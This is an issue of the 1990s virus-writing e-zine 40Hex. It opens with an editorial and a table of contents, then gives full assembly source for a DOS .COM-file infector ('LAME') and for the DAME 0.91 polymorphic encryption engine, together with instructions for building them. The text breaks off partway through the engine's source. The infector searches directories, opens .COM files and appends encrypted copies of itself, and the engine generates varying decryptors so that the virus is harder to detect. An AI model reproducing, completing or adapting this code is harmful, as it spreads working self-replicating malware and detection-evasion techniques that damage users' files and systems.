40Hex Number 12 Volume 3 Issue 3

40Hex Number 12 Volume 3 Issue 3                                      File 000

    Welcome to 40Hex issue 12.  This issue confirms that we are no
longer in our hibernation period (i.e. laziness).  We have been out of
the virus scene for quite some time, due to physical circumstances
beyond our control.  We have done a lot of reorganization, and trimmed
our fat a little bit.  You can expect a lot from us in the upcoming
year, and I can assure you, you won't be dissappointed.  Due to the
large gap of time between issue 11 and issue 12, some of the information
in here may be a little outdated.

    We are going to get a little bit more political then we used to be,
but we will still keep cranking out the high quality technical
information that you all enjoy. I would strongly recommend that you
don't skip over the political parts of the magazine, because there are
people who want to make laws that will affect every reader of this
magazine.

    On a completely seperate note, we can now be reached via Internet.
If you have any comments about the magazine, news articles, editorials,
etc. we'd like to know, and we'll probably put all of the interesting
letters into the magazine.  Email us at:

fortyhex@mindvox.phantom.com

 ->GHeap

                       Table Of Contents

        40Hex-12.000....................We're ba-ack
        40Hex-12.001....................DAME Source 'Updated'
        40Hex-12.002....................40Hex Hardcopy Rumors Confirmed
        40Hex-12.003....................A Self Dis-Infecting .COM File
        40Hex-12.004....................AIS BBS Commentary
        40Hex-12.005....................Natas Virus By Priest
        40Hex-12.006....................A Commentary by Sara Gordon
        40Hex-12.007....................Nympho Mitosis 2.0 Debug Script
        40Hex-12.008....................Viruses In The News
        40Hex-12.009....................OS/2 Virus Source

Greets Fly out to: Urnst Kouch [And all other Crypt People], Nowhere Man,
The Attitude Adjuster, Omega and all of TridenT, Arthur Ellis, and
anyone else we may have forgotten.

40Hex Number 12 Volume 3 Issue 3                                      File 001

        DAME, Revisited
        By Dark Angel of Phalcon/Skism

        As many of you may have noticed, the DAME presented in the last
        issue of 40Hex many moons ago had a few flaws, chief of which was
        a problem with the prefetch queue.  Thanks to everyone who pointed
        this out to me and jeers to Intel.  It was also a mite weak in the
        code generated.  This version corrects several flaws present in the
        original version.  See the source code for a more in-depth discussion
        of the improvements.

        In this article, I present another lame virus to be linked with DAME.
        The debug script is included at the end of the article and the source
        code can be found following this short text.  Before attempting to
        assemble the source code, note that it is broken up into two files:
        LAME.ASM and DAME.ASM.  MAKE SURE YOU SEPARATE THEM FIRST!  Some
        complained that the source code didn't assemble in the last issue;
        that was simply because they didn't break up the files.

        DA

--Begin LAME.ASM---------------------------------------------------------------        .model  tiny
        .code
        .radix  16
        org     100

start:  jmp     temp                    ; The next two lines will be patched in
;        cld                            ; DAME may have altered DF
;        mov     bx,ds
        call    calc_off

old4    dw      20cdh, 0
fmask   db      '*.com',0
dmask   db      '..',0

        db  0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
        db      'To demonstrate DAME 0.91',0Dh,0A,1a

vars    = 0
        include dame.asm                ; include the code portion of DAME

calc_off:
        pop     si
        mov     ax,si
        mov     cl,4
        shr     ax,cl
        sub     ax,10
        add     ax,bx
        mov     bx,offset enter_vir
        push    ax bx
        retf

enter_vir:
        mov     di,100
        push    es di es es
        movsw
        movsw
enter_vir0:
        push    cs cs
        pop     es ds
        mov     ah,1a
        mov     dx,offset new_dta               ; set new DTA
        int     21

        mov     ah,47
        cwd
        mov     si,offset old_path+1
        mov     byte ptr [si-1],'\'
        int     21

        mov     inf_cnt,4

        call    rnd_init_seed
inf_dir:mov     ah,4e
        mov     dx,offset fmask
fnext:  int     21
        jnc     inf_file

        mov     ah,3bh
        mov     dx,offset dmask
        int     21
        jnc     inf_dir
done_all:
        mov     ah,3bh
        mov     dx,offset old_path
        int     21

        pop     es ds                           ; restore the DTA
        mov     dx,80
        mov     ah,1a
        int     21

        retf                                    ; return to carrier

inf_file:
        mov     ax,3d00
        mov     dx,offset new_dta + 1e
        int     21
        jc      _fnext
        xchg    ax,bx

        mov     ah,3f
        mov     cx,4
        mov     dx,offset old4
        int     21

        mov     ah,3e
        int     21

        cmp     old4,0e9fc
        jz      _fnext
        add     al,ah
        cmp     al,'Z'+'M'
        jz      _fnext
        call    infect
        dec     inf_cnt
        jz      done_all
_fnext:
        mov     ah,4f
        jmp     short fnext

infect: mov     ax,3d00
        mov     dx,offset new_dta + 1e
        int     21
        push    ax
        xchg    ax,bx

        mov     ax,1220
        int     2f

        mov     ax,1216
        mov     bl,es:di
        mov     bh,0
        int     2f

        pop     bx

        mov     word ptr es:[di+2],2

        mov     ax,es:[di+11]
        mov     bp,ax
        mov     cx,4
        sub     ax,cx
        mov     patch,ax

        mov     ah,40
        mov     dx,offset oFCE9
        int     21

        mov     word ptr es:[di+15],bp

        push    es di cs
        pop     es

        mov     si,100
        mov     di,offset copyvirus
        mov     cx,(heap - start + 1)/2
        rep     movsw

        mov     ax,0000000000001011b
        mov     dx,offset copyvirus
        mov     cx,heap - start
        mov     si,offset _decryptbuffer
        mov     di,offset _encryptbuffer
        push    dx bx si
        mov     bx,bp
        inc     bh
        call    dame

        mov     ah,40
        pop     dx bx
        int     21

        mov     ah,40
        mov     cx,heap - start
        pop     dx
        int     21

        pop     di es
        or      byte ptr es:[di+6],40

        mov     ah,3e
        int     21

        retn

oFCE9   dw      0e9fc
heap:
patch   dw      ?
inf_cnt db      ?

vars    = 1
        include dame.asm        ; include the heap portion of DAME

old_path        db       41 dup (?)
new_dta         db       2c dup (?)
_encryptbuffer: db       80 dup (?)
_decryptbuffer: db      1a0 dup (?)
copyvirus       db      heap - start + 20 dup (?)

temp:   mov     byte ptr ds:[100],0fc
        mov     word ptr ds:[101],0db8c
        xor     di,di
        push    cs di cs cs
        jmp     enter_vir0

        end     start
--End LAME.ASM--Begin DAME.ASM-------------------------------------------------
comment #

                        Dark Angel's Multiple Encryptor
                                 Version 0.91
                        By Dark Angel of Phalcon/Skism

        This source may be freely distributed.  Modifications are
        encouraged and modified redistribution is allowed provided
        this notice and the revision history to date are not altered.
        You are free to append to the revision history and update the
        usage information.

 Welcome to the source code for Dark Angel's Multiple Encryptor.
 I, Dark Angel, will be your host for this short excursion through
 a pretty nifty encryptor.

 DAME 0.90 (1574 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Initial release.

 DAME 0.91 (1960 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Source code commented.

   The user no longer needs to call the encryption routine manually;
   the routine calls it automatically.  This makes DAME a bit more
   "user friendly."

   Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
   is now supported.

   Added "double-reference" encryptions.  Example:
        mov     ax,[bx+3212]
        xor     ax,3213
        mov     [bx+3212],ax

   There is now a bitflag option to generate a decryptor which will transfer
   control to the buffer on a paragraph boundary.

   There is now a 1% chance that no encryption will be encoded when
   the "do_encrypt1" routine is called.  Of course, null effect
   encryptors may still be generated.

   garble_jmpcond is much more robust.  It can now put valid instructions
   between the conditional jump and the target of the jump.  Therefore,
   there is no longer a multitude of JZ $+2's and the like.  Instead, they
   are replaced by JZ $+4, XOR BX,BX, for example.

   The register tracker is cleared after the loop is completed.  This makes
   sense, since the registers are no longer needed.  This also allows for the
   manipulation of those used registers in the garbling after the loop is
   completed.

   Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
   MOVes added.  Memory PUSHes and POPs are now supported.

   The maximum nesting value is now the variable _maxnest, which can range
   from 0 to MAXNEST.  _maxnest is determined randomly at runtime.  This makes
   the decryption routines a bit more interesting.  _nest is also cleared more
   times during the run so that variability is continuous throughout.

   Short decryptor option added.  This is automatically used when generating
   the encryptor so the encryptor will always be of minimal length.

   More alignments are now possible.  This makes the initial values of the
   registers more flexible.

   BUG FIXES:

   BP is now preserved on exit

   Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
   See routine named "clear_PIQ"

   Loopnz routines had possibility of not working properly; instruction
   eliminated.

   NOTES:

   I forgot to give credit to the person from whom I stole the random number
   routines.  I took them from the routine embedded in TPE 1.x (I misremember
   the version number).  Many thanks to Masud Khafir!

   USAGE:

   ON ENTRY:
     ax = flags
       bit 15 : Use two registers for pointer : 0 = no, 1 = yes
       bit 14 : Align size : 0 = word, 1 = dword
       bit 13 : Encryption direction : 0 = forwards, 1 = backwards
       bit 12 : Counter direction : 0 = forwards, 1 = backwards
       bit 11 : Counter register used : 0 = no, 1 = yes
       bit 10 : Temporary storage for double reference
       bit  9 : Unused
       bit  8 : Unused
       bit  7 : Unused
       bit  6 : Unused
       bit  5 : Unused
       bit  4 : Unused
       bit  3 : return control on paragraph boundary : 1 = yes, 0 = no
       bit  2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
       bit  1 : garble : 1 = yes, 0 = no
       bit  0 : SS = DS = CS : 1 = yes, 0 = no
     bx = start decrypt in carrier file
     cx = encrypt length
     dx = start encrypt
     si = buffer to put decryption routine
     di = buffer to put encryption routine

     ds = cs on entry
     es = cs on entry

   RETURNS:
     cx = decryption routine length
     DF cleared
     all other registers are preserved.
     The RADIX is set to 16d.

   NOTES:

   rnd_init_seed is _not_ called by DAME.  The user must explicitly call it.

   The buffer containing the routine to be encrypted should be 20 bytes
   larger than the size of the routine.  This allows padding to work.

   The decryption routine buffer should be rather large to accomodate the
   large decryptors which may be generated.

   The encryption routine buffer need not be very large; 80h bytes should
   suffice.  90d bytes is probably enough, but this value is untested.
#

.radix 10h

ifndef vars
        vars = 2
endif

if not vars eq 1        ; if (vars != 1)

_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7

_es = 8
_cs = 9
_ss = 0a
_ds = 0bh

; The constant MAXNEST determines the maximum possible level of nesting
; possible in any generated routine.  If the value is too large, then
; recursion problems will cause a stack overflow and the program will
; crash.  So don't be too greedy.  0Ah is a safe value to use for non-
; resident viruses.  Use smaller values for resident viruses.
ifndef MAXNEST          ; User may define MAXNEST prior to including
        MAXNEST = 0a    ; the DAME source code. The user's value will
endif                   ; then take precedence

rnd_init_seed:
        push    dx cx bx
        mov     ah,2C                   ; get time
        int     21

        in      al,40                   ; port 40h, 8253 timer 0 clock
        mov     ah,al
        in      al,40                   ; port 40h, 8253 timer 0 clock
        xor     ax,cx
        xor     dx,ax
        jmp     short rnd_get_loop_done
get_rand:
        push    dx cx bx
        in      al,40                   ; get from timer 0 clock
        db      5 ; add ax, xxxx
rnd_get_patch1  dw      0
                db      0BA  ; mov dx, xxxx
rnd_get_patch2  dw      0
        mov     cx,7

rnd_get_loop:
        shl     ax,1
        rcl     dx,1
        mov     bl,al
        xor     bl,dh
        jns     rnd_get_loop_loc
        inc     al
rnd_get_loop_loc:
        loop    rnd_get_loop

rnd_get_loop_done:
        mov     rnd_get_patch1,ax
        mov     rnd_get_patch2,dx
        mov     al,dl
        pop     bx cx dx
        retn

reg_table1:
              ; reg1 reg2 mod/00/rm   This is used to handle memory addressing
        db       _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
        db       _bp, 84, 10000110b ; if (reg2 == 84)
        db       _di, 84, 10000101b ;    reg2 = NULL;
        db       _si, 84, 10000100b

        db      _bp, _di, 10000011b
        db      _bp, _si, 10000010b
        db      _bx, _di, 10000001b
        db      _bx, _si, 10000000b
        db      _di, _bp, 10000011b
        db      _si, _bp, 10000010b
        db      _di, _bx, 10000001b
        db      _si, _bx, 10000000b

aligntable      db      3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks

redo_dame:
        pop     di bp si dx cx bx ax
dame:   ; Dark Angel's Multiple Encryptor
        cld
        push    ax bx cx dx si bp di
        call    _dame
        pop     di
        push    cx di
        call    di
        pop     di cx bp si dx bx bx ax
        ret

_dame:  ; set up initial values of the variables
        cld
        push    ax

        mov     ax,offset _encryptpointer
        xchg    ax,di                           ; save the pointer to the
        stosw                                   ; encryption routine buffer
        xchg    si,ax                           ; also save the pointer to
        stosw                                   ; the decryption routine
                                                ; buffer in the same manner
        stosw

        xchg    ax,dx                           ; starting offset of
        stosw                                   ; encryption
        xchg    ax,bx                           ; starting offset of
        stosw                                   ; decryption routine

        xchg    cx,dx                           ; dx = encrypt size

        xor     ax,ax
        mov     cx,(endclear1 - beginclear1) / 2; clear additional data
        rep     stosw                           ; area

        call    get_rand                        ; get a random number
        and     ax,not 0f                       ; clear user-defined bits

        pop     cx                              ; cx = bitmask
        xor     cx,ax                           ; randomize top bits

        call    get_rand_bx                     ; get a random number
        and     bx,7                            ; and lookup in the table
        mov     al,byte ptr [bx+aligntable]     ; for a random rounding size
        cbw
        add     dx,ax                           ; round the encryption
        not     ax                              ; size to next word, dword,
        and     dx,ax                           ; etc.

        mov     ax,dx                           ; save the new encryption
        stosw                                   ; length (_encrypt_length)

        shr     ax,1                            ; convert to words
        test    ch,40                           ; encrypting double wordly?
        jz      word_encryption                 ; nope, only wordly encryption
        shr     ax,1                            ; convert to double words
word_encryption:                                ; all the worldly encryption
        test    ch,10                           ; shall do thee no good, my
        jnz     counter_backwards               ; child, lest you repent for
        neg     ax                              ; the sins of those who would
counter_backwards:                              ; bring harm unto others
        stosw                                   ; save _counter_value
        push    dx                              ; Save rounded length

        call    get_rand                        ; get a random value for the
        stosw                                   ; encryption value
                                                ; (_decrypt_value)
        pop     ax                              ; get rounded encryption length
                                                ; in bytes
        test    ch,20                           ; is the encryption to run
        jnz     encrypt_forwards                ; forwards or backwards?
        neg     ax                              ; Adjust for forwards
encrypt_forwards:
        xor     bx,bx                           ; Assume pointer_value2 = 0

        test    ch,80                           ; Dual pointer registers?
        jz      no_dual
        call    get_rand_bx
        sub     ax,bx
no_dual:stosw                                   ; Save the pointers to the
        xchg    ax,bx                           ; decryption (_pointer_value1
        stosw                                   ; and _pointer_value2)

; The following lines determine the registers that go with each function.
; There are a maximum of four variable registers in each generated
; encryption/decryption routine pair -- the counter, two pointer registers,
; and an encryption value register.  Only one pointer register need be present
; in the pair; the other three registers are present only if they are needed.

s0:     call    clear_used_regs                 
        mov     di,offset _counter_reg
        mov     al,84                           ; Assume no counter register
        test    ch,8                            ; Using a counter register?
        jz      s1
        call    get_rand                        ; get a random initial value
        mov     _pointer_value1,ax              ; for the pointer register
        call    get_another                     ; get a counter register
s1:     stosb                                   ; Store the counter register

        xchg    ax,dx

        mov     al,84                           ; Assume no encryption register
        call    one_in_two                      ; 50% change of having an
        js      s2                              ; encryption register
                                                ; Note: This merely serves as
                                                ; an extra register and may or
                                                ; may not be used as the
                                                ; encryption register.
        call    get_another                     ; get a register to serve as
s2:     stosb                                   ; the encryption register

        cmp     ax,dx                           ; normalise counter/encryption
        ja      s3                              ; register pair so that the
        xchg    ax,dx                           ; smaller one is always in the  
s3:     mov     ah,dl                           ; high byte
        cmp     ax,305                          ; both BX and BP used?
        jz      s0                              ; then try again
        cmp     ax,607                          ; both SI and DI used?
        jz      s0                              ; try once more

s4:     mov     si,offset reg_table1            ; Use the table
        mov     ax,3                            ; Assume one pointer register
        test    ch,80                           ; Using two registers?
        jz      use_one_pointer_reg
        add     si,4*3                          ; Go to two register table
        add     al,4                            ; Then use appropriate mask
use_one_pointer_reg:
        call    get_rand_bx                     ; Get a random value
        and     bx,ax                           ; Apply mask to it
        add     si,bx                           ; Adjust table offset
        add     bx,bx                           ; Double the mask
        add     si,bx                           ; Now table offset is right
        lodsw                                   ; Get the random register pair
        mov     bx,ax                           ; Check if the register in the
        and     bx,7                            ; low byte is already used
        cmp     byte ptr [bx+_used_regs],0
        jnz     s4                              ; If so, try again
        mov     bl,ah                           ; Otherwise, check if there is
        or      bl,bl                           ; a register in the high byte
        js      s5                              ; If not, we are done
        cmp     byte ptr [bx+_used_regs],0      ; Otherwise, check if it is
        jnz     s4                              ; already used
s5:     stosw                                   ; Store _pointer_reg1, 
        movsb                                   ; _pointer_reg2, and 
                                                ; _pointer_rm
calculate_maxnest:
        call    get_rand                        ; Random value for _maxnest
        and     al,0f                           ; from 0 to MAXNEST
        cmp     al,MAXNEST                      ; Is it too large?
        ja      calculate_maxnest               ; If so, try again
        stosb                                   ; Otherwise, we have _maxnest

        call    clear_used_regs                 ; mark no registers used
encode_setup:                                   ; encode setup portion
        mov     di,_decryptpointer              ; (pre-loop) of the routines
        call    twogarble                       ; start by doing some garbling
                                                ; on the decryption routine
        mov     si,offset _counter_reg          ; now move the initial
        push    si                              ; values into each variable
encode_setup_get_another:                       ; register -- encode them in a
        call    get_rand_bx                     ; random order for further
                                                ; variability
        and     bx,3                            ; get a random register to en-
        mov     al,[si+bx]                      ; code, i.e. counter, pointer,
        cbw                                     ; or encryption value register
        test    al,80                           ; is it already encoded?
        jnz     encode_setup_get_another        ; then get another register

        or      byte ptr [bx+_counter_reg],80   ; mark it encoded in both the
        mov     si,ax                           ; local and
        inc     byte ptr [si+_used_regs]        ; master areas

        add     bx,bx                           ; convert to word offset
        mov     dx,word ptr [bx+_counter_value] ; find value to set the
                                                ; register to
        mov     _nest,0                         ; clear the current nest count
        call    mov_reg_xxxx                    ; and encode decryption routine
                                                ; instruction
        call    twogarble                       ; garble it some more
        call    swap_decrypt_encrypt            ; now work on the encryption
                                                ; routine
        push    cx                              ; save the current bitmap
        and     cl,not 7                        ; encode short routines only
        call    _mov_reg_xxxx                   ; encode the encryption routine
                                                ; instruction
        pop     cx                              ; restore bitmap

        mov     _encryptpointer,di              ; return attention to the
                                                ; decryption routine
        pop     si
        mov     dx,4
encode_setup_check_if_done:                     ; check if all the variables
                                                ; have been encoded
        lodsb                                   ; get the variable
        test    al,80                           ; is it encoded?
        jz      encode_setup                    ; nope, so continue encoding
        dec     dx                              ; else check the next variable
        jnz     encode_setup_check_if_done      ; loop upwards

        mov     si,offset _encryptpointer       ; Save the addresses of the 
        mov     di,offset _loopstartencrypt     ; beginning of the loop in
        movsw                                   ; the encryption and decryption
        movsw                                   ; routines

; Encode the encryption/decryption part of loop
        mov     _relocate_amt,0                 ; reset relocation amount
        call    do_encrypt1                     ; encode encryption

        test    ch,40                           ; dword encryption?
        jz      dont_encrypt2                   ; nope, skip

        mov     _relocate_amt,2                 ; handle next word to encrypt
        call    do_encrypt1                     ; and encrypt!
dont_encrypt2:
; Now we are finished encoding the decryption part of the loop.  All that
; remains is to encode the loop instruction, garble some more, and patch
; the memory manipulation instructions so they encrypt/decrypt the proper
; memory locations.
        mov     bx,offset _loopstartencrypt     ; first work on the encryption
        push    cx                              ; save the bitmap
        and     cl,not 7                        ; disable garbling/big routines
        call    encodejmp                       ; encode the jmp instruction
        pop     cx                              ; restore the bitmap

        mov     ax,0c3fc ; cld, ret             ; encode return instruction
        stosw                                   ; in the encryption routine

        mov     si,offset _encrypt_relocator    ; now fix the memory
        mov     di,_start_encrypt               ; manipulation instructions

        push    cx                              ; cx is not auto-preserved
        call    relocate                        ; fix address references
        pop     cx                              ; restore cx

        mov     bx,offset _loopstartdecrypt     ; Now work on decryption
        call    encodejmp                       ; Encode the jmp instruction
        push    di                              ; Save the current pointer
        call    clear_used_regs                 ; Mark all registers unused
        pop     di                              ; Restore the pointer
        call    twogarble                       ; Garble some more
        test    cl,8                            ; Paragraph alignment on
        jnz     align_paragraph                 ; entry to virus?
        test    ch,20                           ; If it is a backwards
        jz      no_clear_prefetch               ; decryption, then flush the
        call    clear_PIQ                       ; prefetch queue (for 386+)
no_clear_prefetch:                              ; Curse the PIQ!!!!!
        call    twogarble                       ; Garble: the final chapter
        jmp     short PIQ_done
align_paragraph:
        mov     dx,di                           ; Get current pointer location
        sub     dx,_decryptpointer2             ; Calculate offset when control
        add     dx,_start_decrypt               ; is transfered to the carrier
        inc     dx                              ; Adjust for the JMP SHORT
        inc     dx
        neg     dx
        and     dx,0f                           ; Align on the next paragraph
        cmp     dl,10-2                         ; Do we need to JMP?
        jnz     $+7                             ; Yes, do it now
        test    ch,20                           ; Otherwise, check if we need
        jz      PIQ_done                        ; to clear the prefetch anyway
        call    clear_PIQ_jmp_short             ; Encode the JMP SHORT
PIQ_done:
        mov     _decryptpointer,di

        mov     si,offset _decrypt_relocator    ; Calculate relocation amount
        sub     di,_decryptpointer2
        add     di,_start_decrypt
relocate:
        test    ch,20                           ; Encrypting forwards or
        jz      do_encrypt_backwards            ; backwards?
        add     di,_encrypt_length              ; Backwards is /<0oI_
do_encrypt_backwards:                           ; uh huh uh huh uh huh
        sub     di,_pointer_value1              ; Calculate relocation amount
        sub     di,_pointer_value2
        mov     cx,word ptr [si-2]              ; Get relocation count
        jcxz    exit_relocate                   ; Exit if nothing to do
        xchg    ax,di                           ; Otherwise we be in business
relocate_loop:                                  ; Here we go, yo
        xchg    ax,di
        lodsw                                   ; Get address to relocate
        xchg    ax,di
        add     [di],ax                         ; Relocate mah arse!
        loop    relocate_loop                   ; Do it again 7 times
exit_relocate:                                  ; ('cause that makes 8)
        mov     di,_decryptpointer              ; Calculate the decryption
        mov     cx,di                           ; routine size to pass
        sub     cx,_decryptpointer2             ; back to the caller
        ret

encodejmp:
        mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]

        push    bx
        mov     _nest,0                         ; Reset nest count
        mov     al,_pointer_reg1                ; Get the pointer register
        and     ax,7                            ; Mask out any modifications
        mov     dx,2                            ; Assume word encryption
        test    ch,40                           ; Word or Dword?
        jz      update_pointer1
        shl     dx,1                            ; Adjust for Dword encryption
update_pointer1:
        test    ch,20                           ; Forwards or backwards?
        jz      update_pointer2
        neg     dx                              ; Adjust for backwards
update_pointer2:
        test    ch,80                           ; Are there two pointers?
        jz      update_pointer_now              ; Continue only if so

        sar     dx,1                            ; Halve the add value
        push    ax                              ; Save register to add
        call    add_reg_xxxx                    ; Add to first register
        mov     al,_pointer_reg2
        and     ax,7                            ; Add to the second pointer
        call    add_reg_xxxx                    ; register
        pop     bx
        test    ch,8                            ; Using a counter register?
        jnz     update_pointer_done             ; If not, continue this

        push    bx                              ; Save first register
        xchg    ax,dx                           ; Move second register to DX
        call    get_another                     ; Get new register regX
        call    mov_reg_reg                     ; MOV regX, _pointer_reg2
        pop     dx                              ; Restore first register
        call    add_reg_reg                     ; ADD regX, _pointer_reg1
        call    clear_reg                       ; Clear the temp register
        jmp     short update_pointer_done       ; Skip adjustment of pointer
                                                ; register (already done)
update_pointer_now:
        call    add_reg_xxxx                    ; Adjust pointer register
update_pointer_done:
        mov     dl,75                           ; Assume JNZ

        mov     al,_counter_reg                 ; Is there a counter register?
        and     ax,7
        cmp     al,_sp
        jz      do_jnz

        push    dx                              ; Save JNZ
        mov     dx,1                            ; Assume adjustment of one

        test    ch,10                           ; Check counter direction
        jz      go_counter_forwards             ; If forwards, increment the
                                                ; counter
        cmp     al,_cx                          ; Check if the counter is CX
        jnz     regular                         ; If not, then decrement the
                                                ; counter and continue
        call    one_in_two                      ; Otherwise, there is a 50%
        js      regular                         ; chance of using a LOOP

        pop     dx
        mov     dl,0e2                          ; let us encode the LOOP
        jmp     short do_jnz

regular:neg     dx
go_counter_forwards:
        call    add_reg_xxxx                    ; Adjust counter register
        pop     dx
do_jnz: pop     bx
        mov     ax,[bx]                         ; Calculate value to JNZ/LOOP
        sub     ax,di                           ; back
        dec     ax
        dec     ax
        xchg    ah,al                           ; Value is in AL
        mov     al,dl   ; jnz

        or      ah,ah                           ; Value >= 128?  If so, it is
        js      jmplocation_okay                ; impossible to JNZ/LOOP there
                                                ; due to stupid 8086 limitation
        pop     ax ax                           ; Take return locations off
        jmp     redo_dame                       ; the stack and encode again
jmplocation_okay:
        stosw                                   ; Encode JNZ/LOOP instruction
        mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
        ret                                     ; Save current location

encryption:
; This routine encodes the instruction which actually manipulates the memory
; location pointed to by the pointer register.
        and     ch,not 4                        ; Default = no double reference
        call    one_in_two                      ; But there is a 50% chance of
        js      not_double_reference            ; using a double reference
        or      ch,4                            ; Yes, we are indeed using it
not_double_reference:
        mov     di,_decryptpointer              ; Set the registers to work
        mov     bp,offset _decrypt_relocate_num ; with the decryption routine
        call    twogarble                       ; Insert some null instructions

        xor     ax,ax                           ; Get the value for the rm
        mov     al,_pointer_rm                  ; field corresponding to the
                                                ; pointer register/s used
        call    choose_routine                  ; Get random decryption type
        call    go_next                         ; to DX, BX, SI
        push    si dx si dx                     ; Save crypt value/register
                                                ; and crypt pointer
;;        mov     _nest,0 ; not needed - choose_routine does it
        test    ch,4
        jz      not_double_reference1           ; Double reference?

        xchg    ax,dx                           ; Pointer register/s to dx
        call    get_another                     ; Unused register to AX (reg1)
        call    mov_reg_reg                     ; MOV reg1,[pointer]
        mov     _kludge,dx                      ; Store the pointer register
not_double_reference1:
        pop     dx si                           ; Restore decryption pointer
        call    handle_jmp_table                ; Encode decryption routine
        push    bx                              ; Save routine that was used
        call    twogarble                       ; Garble some more for fun

        test    ch,4
        jz      not_double_reference2           ; Double reference?

        xchg    ax,dx                           ; reg1 to dx
        mov     ax,_kludge                      ; Restore pointer
        push    ax                              ; Save pointer
        call    mov_reg_reg                     ; MOV [pointer],reg1
        call    clear_reg_dx                    ; Return reg1 to free pool
        pop     ax                              ; Restore pointer
not_double_reference2:
        mov     bp,offset _encrypt_relocate_num ; Set the registers to work
        call    swap_decrypt_encrypt            ; with the encryption routine

        pop     bx dx si                        ; Restore crypt value/register
        call    go_next                         ; Convert to encryption table
        jmp     short finish_encryption         ; and encode the encryption
                                                ; corresponding to the
                                                ; decryption
do_encrypt1:                                    ; Perform encryption on a word
        call    playencrypt                     ; Alter encryption value
        call    get_rand                        ; Have a tiny chance
        cmp     ax,6                            ; (1% chance) of not
        jb      playencrypt                     ; encrypting at all
        call    encryption                      ; Encrypt!
playencrypt:                                    ; Update the encryption value
        mov     di,_decryptpointer
        call    twogarble

        mov     al,_encrypt_reg                 ; Encryption register used?
        and     ax,7
        cmp     al,4
        jz      swap_decrypt_encrypt

        call    get_rand_bx                     ; 75% chance of altering the
        cmp     bl,0c0                          ; encryption value register
        ja      swap_decrypt_encrypt            ; Exit if nothing is to occur

        call    choose_routine                  ; Select a method of updating
        call    handle_jmp_table_nogarble       ; Encode the decryption
        call    swap_decrypt_encrypt            ; Now work on encryption
finish_encryption:
        push    cx                              ; Save current bitmask
        and     cl,not 7                        ; Turn off garbling/mo routines
        call    [bx+si+1]                       ; Encode the same routine for
                                                ; the encryption
        pop     cx                              ; Restore the bitmask
        mov     _encryptpointer,di
        ret

choose_routine:
        mov     _nest,0                         ; Reset recursion counter
        call    one_in_two                      ; 50% chance of using an
        js      get_used_register               ; already used register as
                                                ; an update value
        call    get_rand_bx                     ; Get random number as the
                                                ; update value
        mov     si,offset oneregtable           ; Choose the update routine
                                                ; from this table
        jmp     short continue_choose_routine   ; Saves one byte over
                                                ; xchg dx,bx / ret
get_used_register:
; This routine returns, in DX, a register whose value is known at the current
; point in the encryption/decryption routines. SI is loaded with the offset
; of the appropriate table. The routine destroys BX.
        call    get_rand_bx                     ; Get a random number
        and     bx,7                            ; Convert to a register (0-7)
        cmp     bl,_sp                          ; Make sure it isn't SP; that
        jz      get_used_register               ; is always considered used
        cmp     byte ptr [bx+_used_regs],0      ; Check if the register is
        jz      get_used_register               ; currently in use
        mov     si,offset tworegtable           ; Use routine from this table
continue_choose_routine:
        xchg    dx,bx                           ; Move value to dx
        ret                                     ; and quit

swap_decrypt_encrypt:
        mov     _decryptpointer,di              ; save current pointer
        push    ax
        mov     al,_maxnest                     ; disable garbling
        mov     _nest,al
        pop     ax
        mov     di,_encryptpointer              ; replace with encryption
        ret                                     ; pointer

go_next:
; Upon entry, SI points to a dispatch table.  This routine calculates the
; address of the next table and sets SI to that value.
        push    ax
        lodsb                                   ; Get mask byte
        cbw                                     ; Convert it to a word
        add     si,ax                           ; Add it to the current 
        pop     ax                              ; location (table+1)
        inc     si                              ; Add two more to adjust
        inc     si                              ; for the mask
        ret                                     ; (mask = size - 3)

clear_used_regs:
        xor     ax,ax                           ; Mark registers unused
        mov     di,offset _used_regs            ; Alter _used_regs table
        stosw
        stosw
        inc     ax                              ; Mark SP used
        stosw
        dec     ax
        stosw
        ret

get_another:                                    ; Get an unused register
        call    get_rand                        ; Get a random number
        and     ax,7                            ; convert to a register
;        cmp     al,_sp
;        jz      get_another
        mov     si,ax
        cmp     [si+_used_regs],0               ; Check if used already
        jnz     get_another                     ; Yes, try again
        inc     [si+_used_regs]                 ; Otherwise mark the register
        ret                                     ; used and return

clear_reg_dx:                                   ; Mark the register in DX
        xchg    ax,dx                           ; unused
clear_reg:                                      ; Mark the register in AX
        mov     si,ax                           ; unused
        mov     byte ptr [si+_used_regs],0
        ret

free_regs:
; This checks for any free registers and sets the zero flag if there are.
        push    ax cx di
        mov     di,offset _used_regs
        mov     cx,8
        xor     ax,ax
        repne   scasb
        pop     di cx ax
        ret

one_in_two:                                     ; Gives 50% chance of
        push    ax                              ; something happening
        call    get_rand                        ; Get a random number
        or      ax,ax                           ; Sign flag set 50% of the
        pop     ax                              ; time
        ret

get_rand_bx:                                    ; Get a random number to BX
        xchg    ax,bx                           ; Save AX
        call    get_rand                        ; Get a random number
        xchg    ax,bx                           ; Restore AX, set BX to the
return:                                         ; random number
        ret

garble_onebyte:
; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
        xchg    ax,dx                           ; Get the random number in AX
        and     al,7                            ; Convert to table offset
        mov     bx,offset onebytetable          ; Table of random bytes
        xlat                                    ; Get the byte
        stosb                                   ; and encode it
        ret

garble_jmpcond:
; Encode a random short conditional or unconditional JMP instruction.  The
; target of the JMP is an unspecified distance away.  Valid instructions
; take up the space between the JMP and the target.
        xchg    ax,dx                           ; Random number to AX
        and     ax,0f                           ; Convert to a random JMP
        or      al,70                           ; instruction
        stosw                                   ; Encode it
        push    di                              ; Save current location
        call    garble  ; May need to check if too large
        mov     ax,di                           ; Get current location
        pop     bx                              ; Restore pointer to the JMP
        sub     ax,bx                           ; Calculate the offset
        mov     byte ptr [bx-1], al             ; Put it in the conditional
        ret                                     ; JMP

clear_PIQ:
; Encode instructions that clear the prefetch instruction queue.
;   CALL/POP
;   JMP SHORT
;   JMP
        call    get_rand                        ; Get a random number
